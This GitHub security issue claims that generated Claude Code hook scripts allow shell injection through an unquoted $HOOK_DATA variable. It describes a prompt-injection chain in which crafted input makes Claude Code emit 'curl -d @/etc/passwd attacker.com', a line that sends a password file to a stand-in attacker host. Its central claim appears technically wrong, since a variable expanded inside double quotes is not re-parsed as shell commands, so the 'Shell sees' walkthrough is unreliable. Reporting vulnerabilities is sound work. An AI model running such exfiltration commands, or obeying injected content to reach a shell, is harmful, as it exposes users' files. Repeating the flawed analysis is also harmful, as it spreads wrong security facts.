Skip to content

[Security] MEDIUM: Shell injection via unquoted $HOOK_DATA in generated hook scripts #17

@noahwaldner

Description

@noahwaldner

Severity: Medium

File: src/hooks-config.ts:28–33

Description

The hook command template embeds Claude Code's stdin payload unquoted inside a double-quoted shell string:

const curlCmd = (event: HookEventType) =>
  `HOOK_DATA=$(cat 2>/dev/null || echo '{}'); ` +
  `curl -s -X POST "$CODEMAN_API_URL/api/hook-event" ` +
  `-H 'Content-Type: application/json' ` +
  `-d "{\\"event\\":\\"${event}\\",\\"sessionId\\":\\"$CODEMAN_SESSION_ID\\",\\"data\\":$HOOK_DATA}" ` +
  //                                                                                    ^^^^^^^^^^
  //                                              unquoted variable inside double-quoted string
  `2>/dev/null || true`;

If $HOOK_DATA contains " followed by shell metacharacters, the double-quoted string terminates early and the remainder executes as shell commands.

Attack Chain (Prompt Injection → Shell Execution)

  1. Attacker crafts input that causes Claude Code to emit a notification containing: {}; curl -d @/etc/passwd attacker.com; #
  2. Claude Code passes this JSON to the hook process via stdin
  3. $HOOK_DATA expands and breaks out of the -d "..."" argument
  4. Attacker's command executes with the user's privileges

Concrete example — if HOOK_DATA is {}; touch /tmp/pwned; #:

# Generated command becomes:
curl ... -d "{\"event\":\"stop\",\"sessionId\":\"...\",\"data\":{}; touch /tmp/pwned; #}"
# Shell sees:
#   curl ... -d "...data"   ← the curl call
#   touch /tmp/pwned         ← injected command, EXECUTED
#   # (comment, rest ignored)

Remediation

Validate $HOOK_DATA is well-formed JSON before embedding, and use --data-raw to avoid further shell interpretation:

HOOK_DATA=$(cat 2>/dev/null | python3 -c \
  "import json,sys; d=sys.stdin.read(); json.loads(d); print(d.strip())" \
  || echo '{}')
curl -s -X POST "$CODEMAN_API_URL/api/hook-event" \
  -H 'Content-Type: application/json' \
  --data-raw "{\"event\":\"${event}\",\"sessionId\":\"$CODEMAN_SESSION_ID\",\"data\":${HOOK_DATA}}" \
  2>/dev/null || true

The most robust fix is replacing the shell script with a small Node.js helper that handles JSON natively.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions